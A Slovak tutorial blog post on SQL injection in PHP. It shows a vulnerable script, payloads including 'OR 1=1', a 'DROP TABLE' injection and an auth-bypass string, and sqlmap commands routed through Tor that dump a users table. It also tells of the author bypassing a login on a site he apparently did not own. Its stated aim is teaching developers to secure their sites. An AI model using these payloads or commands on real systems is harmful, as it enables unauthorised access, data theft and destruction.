Keď sa povie injekcia, väčšina ľudí si predstaví doktora, s ihlou, ktorý im chce vpichnúť do tela nejakú látku neprirodzeným otvorom (cez kožu, do žily). SQL Injection je v podstate to isté, až na to, že tá látka je väčšinou škodlivá a vkladá sa cez parameter do SQL query.
Je rok 2014 a úprimne, myslel som si, že trend webových aplikácii náchylných na tento typ útoku prudko ustúpil. Naozaj som bol presvedčený, že toto je jednoducho pesnička minulosti, poznáme predsa toľko šikovných nástrojov na prevenciu, za PHP spomeniem napríklad MySQLi alebo PDO.
Avšak aj pri týchto metódach sa dá spraviť chyba, prípadne sa programátor rozhodne, že nepoužije ani jedno z vyššie spomenutých, ale využije klasické MySQL query (bez funkcie na vyčistenie vkladaného stringu).
Tu nastáva problém. Ak je web náchylný na SQL injecion, v ktoromkoľvek mieste, útočník sa vie (v dnešnej dobe) veľmi ľahko dostať ku kompletnému obsahu databázového servera, respektíve k databázam na ňom. Tým pádom vie získať absolútne všetky údaje uložené v databázach.
Spravím niekoľko príkladov, pri všetkých použijem PHP. Vysvetlím, čo je zle, a prečo je to zle. Prečo by to malo byť inak.
Metódy, ktoré môžu byť napadnuté
Povieme si o dvoch metódach konkrétne GET a POST, ktoré môžu byť jednoducho napadnuté. Je naozaj úplne jedno, či je parameter v URL alebo v tele requestu. Vždy ho vieme zmeniť v podstate bez problémov.
Ako vyzerá zle napísaný script
Uvedieme si príklad, jeden za všetky. Predstavme si súbor article.php, ktorý vyberá články z databázy. Parameter si berie z GET-u a dopytuje sa hodnotou tohto parametra do databázy, cez neošetrenú metódu.
Article.php (metóda GET)
- <?php
- // pripojenie k databaze
- include ‘conn.php’;
- // tu si script chce vybrat “id” z GET requestu
- $id = $_GET[‘id’];
- // tu si vytvorime nebezpecny SQL retazec
- $query_string(‘SELECT * FROM articles WHERE article_id = ‘.$id.’ LIMIT 5′);
- // tu spustime query so stringom ktory sme si vytvorili
- $article = mysql_query($query_string);
- //dalsie prikazy budu tu
- ?>
Tento script je nebezpečný, ale prečo? Uvedomme si základnú vec a to konkrétne to, že script si berie nejaký parameter z GET requestu a parametra „id“. Napríklad PHP pozná typovanie avšak nie tak ako sme zvyknutý napríklad z C#, C atď… Natypovať premennú v PHP môžeme však veľmi jednoducho. Stačí ak pred ňu vložíme niečo takéto.
- $id = (int)$_GET[‘id’];
Ako odhaliť, že je to proste deravé…
Ak by sme v scripte takto natypovali našu premennú, už je to naše query relatívne bezpečné. Avšak, toto tam nie je, takže do parametra „id“ vieme ľahko vložiť napríklad string. Prečo string?
Uvedomme si, že tento náš script dopytuje na databázu cez takéto query
- SELECT * FROM articles WHERE article_id = 7 LIMIT 5
Číslo 7 sme v tomto prípade vzali z parametra get, ktorý sme si stanovili na začiatku
http://localhost/article.php?id=7
Teraz si predstavme, že do tohto nášho parametra vložíme string, napríklad: 7 OR 1 = 1
http://localhost/article.php?id=7 OR 1 = 1
Ak si script neošetríme, tak nám PHP prevedie naše query do takéhoto formátu
- SELECT * FROM articles WHERE article_id = 7 OR 1=1 LIMIT 5
Okej, asi si poviete, že dobre, ale čo takéto query, môže spraviť s DB? Nič. Avšak ak zmeníme string na niečo viac nebezpečné, tak veľmi veľa. Prakticky si do tohto parametra môžeme vyskladať akékoľvek query, a toto query sa spustí. Najľahšie zistíme, že je náš parameter dieravý jednuchou úvodzovkou. Ak vložíme úvodzovku za alebo pred hodnotu parametra, dostaneme pravdepodobne syntax error.
http://localhost/article.php?id=7’
Nám vráti:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘ LIMIT’ at line 1
Alebo iný error, v závislosti na query, ktoré sa práve vykonáva. Ešte som na začiatku spomínal metódu POST, tá nemá parameter v URL. Avšak ani toto nie je problém. Stačí ak do inputu, ktorého hodnota sa posiela do scriptu, dáme to isté ako do GET parametra.
Ak teraz vieme, že je to deravé, tak na to môžeme zaútočiť.
Ako na útok ?
Použiteľné nástroje
- Firefox s Firebugom, prípadne Chrome
- Oracle VM VirtualBox
- Proxy
- Virtuálna mašina s live CD linuxovej distribúcie KALI
- Securitytube alebo môj blog
- SQLMAP – software na rýchle „čeknutie“, či je parameter priechodný (dieravý)
- Troška rozumu
Útok bez SQLMAP
Ak sa chystáme na útok bez SQLMAP, vyžaduje to od nás relatívne pokročilú znalosť SQL jazyka. Ak nevieme presne akú má útočník DB (MySQL, MSSQL,PGSQL…), tak môže byť takýto útok relatívne komplikovaný. Oveľa ľahšie sa realizuje cez SQLMAP.
Ak už vieme, že parameter je dieravý, tak môžeme začať.
Príklad, script.:
http://localhost/article.php?id=7
V tomto prípade vidíme ako sa snaží súbor article.php poslať dopyt na databázu metódou GET, kde pravdepodobne porovnáva atribút id s atribútom článku id, ktorý je uložený v databáze a tým článok vyselektuje od ostatných a vytiahne von, práve ten, čo má „id“ s hodnotou 7.
Teraz vieme zapísať do tohto nášho parametra rôzne query. Skúsime si typnúť, že články sú uložené v tabuľke „articles“ bez prefixu. V tom prípade vložíme do hodnoty parametra niečo takéto: 1; DROP TABLE articles; —
Script to spracuje a vytvorí takýto dopyt na databázu:
- SELECT * FROM articles WHERE article_id = 1; DROP TABLE articles; — LIMIT 5
Ako môžeme vidieť, tak náš script vytvorí query, ktoré zmaže tabuľku články (ak existuje)… Áno a toto sú už deštruktívne účinky. Avšak nie vždy je to také ľahké, často najskôr potrebujeme zistiť mená databáz, aké tabuľky obsahujú a podobne. Avšak toto by bol námet na ďalší článok, ale našiel som na internete skvelý článok, ktorý prezentuje pokročilejšie techniky: http://websec.ca/kb/sql_injection
Paradoxne, toto je v dnešnej dobe skôr useless, ale je veľmi dobré to vedieť. Ako som v začiatku spomínal, tak existuje software s menom SQLMAP, ktorý toto zvláda v rýchlom čase so skvelými možnosťami.
Prejdem teda k nemu.
SQLMAP – Keď hackuje začiatočnik
Hoci som to nazval tak, že keď hackuje začiatočnik, nie je to tak úplne pravda. Každopádne netreba žiadne znalosti jazyka SQL.
O čo ide, SQLMAP je software napísaný v pythone, ktorý beží pod linuxom (možno už ja windowsom, neskúmal som), takže na jeho spustenie a používanie stačí nejaká linuxová distribúcia. Pre príklad uvediem KALI, ten ho má vopred nainštalovaný a je možné ho hneď spustiť jednoduchým príkazom.
Prvé čo treba ako otvoríte konzolu, prejdete do priečinka sqlmap, ktorý sa nachádza v priečinku /usr/share/
- cd /usr/share/sqlmap
Potom si spustíme sqlmap s potrebnými parametrami
Prvý parameter si definujeme ako –u = to je nas host, na ktory sa budeme pripajat a skusat sql injection
Druhý parameter bude –dbs (chcem vytiahnut databazy, ktoré sú na servery)
Tretí parameter bude nejaké to proxy, v našom prípade TOR
- sqlmap -u localhost/article.php?id=7 –dbs –tor
Ak spustíme takýto príkaz, získame zoznam databáz.
Potom už len pokračujeme ako chceme. V podstate ďalšie si môžeme pozrieť aké tabuľky sa nachádzajú v nami vybranej databáze z prvého výpisu.
- sqlmap -u localhost/article.php?id=7 -D cmsko –tables
Tento príkaz nám vráti tabuľky z databázy CMSKO
Ďalej si napríklad spravíme dump tabuľku, ktorú si vyberieme z výpisu tabuliek. Povedzme, že dostaneme chuť na tabuľku „users“, tak spravíme nasledovné.
- sqlmap -u localhost/article.php?id=7 -D cmsko -T users –dump
Teraz nám pekne spraví SQL dump do CSV z tabuľky users.
Toto je pravdepodobne najjednoduchší spôsob ako zaútočiť cez SQL injection zraniteľnosť. Nepotrebujete v podstate žiadne znalosti len dokumentáciou odtiaľto: https://github.com/sqlmapproject/sqlmap
Okej, tak to by sme ako tak mali, tu už nemám čo dodať, takže tým by som to celé uzavrel. Ešte pridám nejaké diery, na ktoré som narazil pri auditoch a niektoré ma fakt pobavili
World is one big hole…
Nesprávne zapísané PDO query.
- $query = $pdo->query(“select name FROM articles WHERE id = “.$id.””); //LOL? 😀
Deravé parametre v URL — URI
http://someurl.sk/article/85 -> http://someurl.sk/article/85“ — I am in
http://someurl.sk/article.php?id=7&category=12 -> id ošetrené, category deravé
Login pomocou 1 ‘ OR 1=1 –
Raz som len tak náhodne chodil webom, pozrel som si jeden web, len tak zo srandy som dal za url /admin, vyskočil mi prihlasovací formulár, do ktorého som namiesto mena dal 1 ‘ OR 1=1 – a rovnako tak do hesla. Prihlásilo ma ako superadmina
MD5 heslá
Rovnako som našiel jeden web, ktorý mal “skvelé” zabezpečenie. Po prvom útoku som si vytiahol users, vybral som si admina, ktorý mal meno “admin” a heslo v MD5. Cez MD5 decryptor som si mrkol ten hash, a neveriacky som pozeral. Superadmin mal heslo “admin”
Záverom
Garantujem vám, že každý desiaty web, na ktorý narazíte je dieravý. To je žiaľ realita. A teraz hovorím, dieravý na SQL injection. Avšak tento článok má jediný dôvod, vysvetliť, prečo je SQL injection taká nebezpečná a nejaké príklady, ako jednoducho sa dá aplikovať. Ide o to, aby ste si ako developer zabezpečili svoje weby, a testovali to nástrojmi a príkazmi tu uvedenými.
V žiadnom prípade neskúšajte tieto metódy aplikovať na iné weby, a na weby ktoré NIE SU VO VAŠOM VLASTNÍCTVE!
Ďaľší článok zasvätím best practices v tomto smere. Napíšem nejaké bezpečné scripty, odporučím bezpečné triedy a frameworky.
Keep it safe